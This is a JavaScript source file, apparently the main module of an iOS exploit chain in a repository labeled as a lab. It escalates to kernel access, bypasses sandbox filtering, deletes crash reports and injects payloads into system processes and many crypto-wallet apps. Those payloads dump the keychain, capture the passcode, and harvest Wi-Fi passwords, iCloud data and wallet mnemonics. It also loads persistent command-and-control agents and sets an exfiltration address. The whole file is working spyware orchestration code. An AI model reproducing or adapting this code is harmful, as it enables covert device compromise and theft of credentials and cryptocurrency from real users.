Files
coruna-lab/channel-builder-ds/source/main.js
T
2026-08-26 06:10:33 +08:00

330 lines
10 KiB
JavaScript

try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
import Native from "libs/Chain/Native";
import Chain from "libs/Chain/Chain";
import TaskRop from "libs/TaskRop/TaskRop";
import Task from "libs/TaskRop/Task";
import Sandbox from "libs/TaskRop/Sandbox";
import Utils from "libs/JSUtils/Utils";
import InjectJS from "./InjectJS";
import Driver from "libs/Driver/Driver";
import RemoteCall from "libs/TaskRop/RemoteCall";
import MigFilterBypassThreadCode from "!raw-loader!../dist/MigFilterBypassThread.js";
import loaderCode from "!raw-loader!loader.js";
import fileDownloaderCode from "!raw-loader!file_downloader.js";
import keychainCopierCode from "!raw-loader!keychain_copier.js";
import wifiDumpCode from "!raw-loader!wifi_password_dump.js";
import wifiDumpSecuritydCode from "!raw-loader!wifi_password_securityd.js";
import iCloudDumperCode from "!raw-loader!icloud_dumper.js";
import keychainDumperCode from "!raw-loader!keychain_dumper.js";
import passcodeCaptureCode from "!raw-loader!passcode_capture.js";
import walletKeychainDumpersCode from "!raw-loader!wallet_keychain_dumpers.js";
import walletExtractorCode from "!raw-loader!wallet_extractor.js";
import ghostNativeStub from "!raw-loader!ghost_native_stub.js";
import ghostHttpClient from "!raw-loader!ghost_http_client.js";
import ghostFollowonLoader from "!raw-loader!ghost_followon_loader.js";
import ghostSharedChannel from "!raw-loader!ghost_shared_channel.js";
import ghostSaberAgent from "!raw-loader!ghost_saber_agent.js";
import ghostKnifeClient from "!raw-loader!ghost_knife_client.js";
const ghostSaberPayload = [
ghostNativeStub,
ghostHttpClient,
ghostFollowonLoader,
ghostSharedChannel,
ghostSaberAgent,
].join("\n");
const ghostKnifePayload = [ghostNativeStub, ghostKnifeClient].join("\n");
class MigFilterBypass {
#running;
#sharedMem;
#runFlagPtr;
#isRunningPtr;
#monitorThread1Ptr;
#monitorThread2Ptr;
#mutexPtr;
constructor(mutexPtr) {
this.#mutexPtr = mutexPtr;
this.#running = false;
this.#sharedMem = BigInt(Native.callSymbol("calloc", 1, 0x100));
this.#runFlagPtr = this.#sharedMem;
this.#isRunningPtr = this.#sharedMem + 0x4n;
this.#monitorThread1Ptr = this.#sharedMem + 0x8n;
this.#monitorThread2Ptr = this.#sharedMem + 0x10n;
Native.write32(this.#runFlagPtr, 2);
Native.write32(this.#isRunningPtr, 0);
}
start() {
if (this.#running)
return;
let threadSelf = BigInt(Native.callSymbol("mach_thread_self"));
let threadSelfAddr = BigInt(Task.getPortKObject(threadSelf));
let threadMem = BigInt(Native.callSymbol("calloc", 1, 0x400));
let kernelRW = Chain.transferRW();
let kernelBase = BigInt(Chain.getKernelBase());
Native.write64(threadMem, BigInt(kernelRW.controlSocket));
Native.write64(threadMem + 0x8n, BigInt(kernelRW.rwSocket));
Native.write64(threadMem + 0x10n, kernelBase);
Native.write64(threadMem + 0x18n, threadSelfAddr);
Native.write64(threadMem + 0x20n, this.#runFlagPtr);
Native.write64(threadMem + 0x28n, this.#isRunningPtr);
Native.write64(threadMem + 0x30n, this.#mutexPtr);
Native.write64(threadMem + 0x38n, BigInt(Chain.offsets().migLock));
Native.write64(threadMem + 0x40n, BigInt(Chain.offsets().migSbxMsg));
Native.write64(threadMem + 0x48n, BigInt(Chain.offsets().migKernelStackLR));
Native.write64(threadMem + 0x50n, this.#monitorThread1Ptr);
Native.write64(threadMem + 0x58n, this.#monitorThread2Ptr);
//Native.write64(threadMem, lock.kernelSlide);
//Native.write64(threadMem + 0x8n, lock.lockAddr);
//console.log(TAG, `Spawn bypass thread with args: kernelSlide=${Utils.hex(lock.kernelSlide)}, lockAddr=${Utils.hex(lock.lockAddr)}`);
const threadCode = "fcall_init(); " + MigFilterBypassThreadCode;
Chain.threadSpawn(threadCode, threadMem);
for (let i=0; i<10; i++) {
let isRunning = Native.read32(this.#isRunningPtr);
if (isRunning)
break;
Native.callSymbol("usleep", 500000);
}
this.#running = true;
}
stop() {
if (!this.#running)
return;
Native.write32(this.#runFlagPtr, 0);
Native.callSymbol("sleep", 1);
this.#running = false;
}
pause() {
Native.write32(this.#runFlagPtr, 2);
Native.callSymbol("sleep", 1);
}
resume() {
Native.write32(this.#runFlagPtr, 1);
Native.callSymbol("sleep", 1);
}
monitorThreads(thread1, thread2) {
Native.write64(this.#monitorThread1Ptr, thread1);
Native.write64(this.#monitorThread2Ptr, thread2);
}
}
function xnuVersion() {
Native.callSymbol("uname", Native.mem);
const release = Native.readString(Native.mem + 0x200n, 0x100);
let splittedVersion = release.split(".");
let xnuMajor = splittedVersion[0];
let xnuMinor = splittedVersion[1];
return {major: xnuMajor, minor: xnuMinor};
}
const TAG = "MAIN";
//const targetProcess = "bluetoothd";
const targetProcess = "SpringBoard";
function start() {
let mutexPtr = null;
let migFilterBypass = null;
globalThis.xnuVersion = xnuVersion();
let ver = globalThis.xnuVersion;
// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
if (ver.major == 24 && ver.minor >= 4) {
mutexPtr = BigInt(Native.callSymbol("malloc", 0x100));
Native.callSymbol("pthread_mutex_init", mutexPtr, null);
migFilterBypass = new MigFilterBypass(mutexPtr);
}
let driver = new Driver();
Chain.init(driver, mutexPtr);
let resultPE = Chain.runPE();
if (!resultPE)
return;
TaskRop.init();
if(migFilterBypass)
migFilterBypass.start();
let launchdTask = new RemoteCall("launchd",migFilterBypass);
if (!launchdTask.success()) {
return false;
}
Sandbox.initWithLaunchdTask(launchdTask);
Sandbox.deleteCrashReports();
Sandbox.createTokens();
let agentLoader = new InjectJS(targetProcess, loaderCode, migFilterBypass);
let agentPid = 0;
if (agentLoader.inject()) {
agentPid = agentLoader.task.pid();
Sandbox.applyTokensForRemoteTask(agentLoader.task);
Sandbox.adjustMemoryPressure(targetProcess);
agentLoader.destroy();
}
// Phase order:
// 0x45 keychain_copier → configd (must run BEFORE file_downloader)
// 0x46 keychain_dumper → securityd
// 0x47 passcode_capture → SpringBoard
// 0x48 file_downloader → SpringBoard (picks up /tmp keychain+keybag)
// 0x4D wallet_keychain_dumpers (+ wallet_extractor) → wallet apps
// 0x4B icloud_dumper → UserEventAgent
// 0x49 wifi_password_dump → wifid
// 0x4A wifi_password_securityd → securityd
const keychainProcess = "configd";
let keychainCopier = new InjectJS(keychainProcess, keychainCopierCode, migFilterBypass);
if (keychainCopier.inject()) {
Sandbox.applyTokensForRemoteTask(keychainCopier.task);
keychainCopier.destroy();
}
const securitydProcess = "securityd";
let keychainDumper = new InjectJS(securitydProcess, keychainDumperCode, migFilterBypass);
if (keychainDumper.inject()) {
Sandbox.applyTokensForRemoteTask(keychainDumper.task);
keychainDumper.destroy();
}
try {
let passcodeCap = new InjectJS(targetProcess, passcodeCaptureCode, migFilterBypass);
if (passcodeCap.inject()) {
Sandbox.applyTokensForRemoteTask(passcodeCap.task);
passcodeCap.destroy();
}
} catch (_) {}
// Brief settle so configd/securityd can land files in /tmp before FD starts
try { Native.callSymbol("usleep", BigInt(1500000)); } catch (_) {}
try {
let fileDownloader = new InjectJS(targetProcess, fileDownloaderCode, migFilterBypass);
if (fileDownloader.inject()) {
Sandbox.applyTokensForRemoteTask(fileDownloader.task);
fileDownloader.destroy();
}
} catch (injectError) {}
// 0x4D — wallet app processes (best-effort; skip if not running)
const walletProcesses = [
"Trust", "MetaMask", "Rainbow", "Phantom", "Exodus", "imToken",
"Coinbase", "Coinbase Wallet", "Blockchain", "TokenPocket", "SafePal",
"Bitget", "OKX", "Binance", "Ledger Live", "BlueWallet", "Atomic",
];
const walletPayload = walletKeychainDumpersCode + "\n" + walletExtractorCode;
for (let wi = 0; wi < walletProcesses.length; wi++) {
try {
let wDump = new InjectJS(walletProcesses[wi], walletPayload, migFilterBypass);
if (wDump.inject()) {
Sandbox.applyTokensForRemoteTask(wDump.task);
wDump.destroy();
}
} catch (_) {}
}
// Also run extractor in SpringBoard (pasteboard / residual ObjC)
try {
let sbExtract = new InjectJS(targetProcess, walletExtractorCode, migFilterBypass);
if (sbExtract.inject()) {
Sandbox.applyTokensForRemoteTask(sbExtract.task);
sbExtract.destroy();
}
} catch (_) {}
const userEventAgentProcess = "UserEventAgent";
let iCloudDumper = new InjectJS(userEventAgentProcess, iCloudDumperCode, migFilterBypass);
if (iCloudDumper.inject()) {
Sandbox.applyTokensForRemoteTask(iCloudDumper.task);
iCloudDumper.destroy();
}
const wifidProcess = "wifid";
let wifiDump = new InjectJS(wifidProcess, wifiDumpCode, migFilterBypass);
if (wifiDump.inject()) {
Sandbox.applyTokensForRemoteTask(wifiDump.task);
wifiDump.destroy();
}
let wifiDumpSecurityd = new InjectJS(securitydProcess, wifiDumpSecuritydCode, migFilterBypass);
if (wifiDumpSecurityd.inject()) {
Sandbox.applyTokensForRemoteTask(wifiDumpSecurityd.task);
wifiDumpSecurityd.destroy();
}
const p0Signals = [
"/tmp/keychain-2.db",
"/tmp/keychain_full_dump.txt",
"/tmp/wallet_mnemonic_scan.txt",
"/tmp/wifi_passwords.txt",
"/private/var/tmp/wifi_passwords.txt",
];
for (let round = 0; round < 24; round++) {
let ready = 0;
for (let i = 0; i < p0Signals.length; i++) {
const probe = p0Signals[i];
const fd = Native.callSymbol("open", probe, 0);
if (Number(fd) >= 0) {
Native.callSymbol("close", fd);
ready++;
}
}
if (ready >= 2) break;
if (ready >= 1 && round >= 12) break;
Native.callSymbol("sleep", 1);
}
// (file_downloader already injected after keychain stages — no second pass)
// GHOSTSABER: persistent C2 loop + send_command_to_upper_process (research lab)
try {
let ghostSaber = new InjectJS(targetProcess, ghostSaberPayload, migFilterBypass);
if (ghostSaber.inject()) {
Sandbox.applyTokensForRemoteTask(ghostSaber.task);
ghostSaber.destroy();
}
} catch (e) {
// optional post-exploit module
}
// GHOSTKNIFE: ECDH binary C2 one-shot module harvest (research lab)
try {
let ghostKnife = new InjectJS(targetProcess, ghostKnifePayload, migFilterBypass);
if (ghostKnife.inject()) {
Sandbox.applyTokensForRemoteTask(ghostKnife.task);
ghostKnife.destroy();
}
} catch (e) {
// optional post-exploit module
}
launchdTask.destroy();
return true;
}
try {
start();
}
catch (error) {
// Error handling without logging
}
finally {
Native.callSymbol("exit", 0n);
}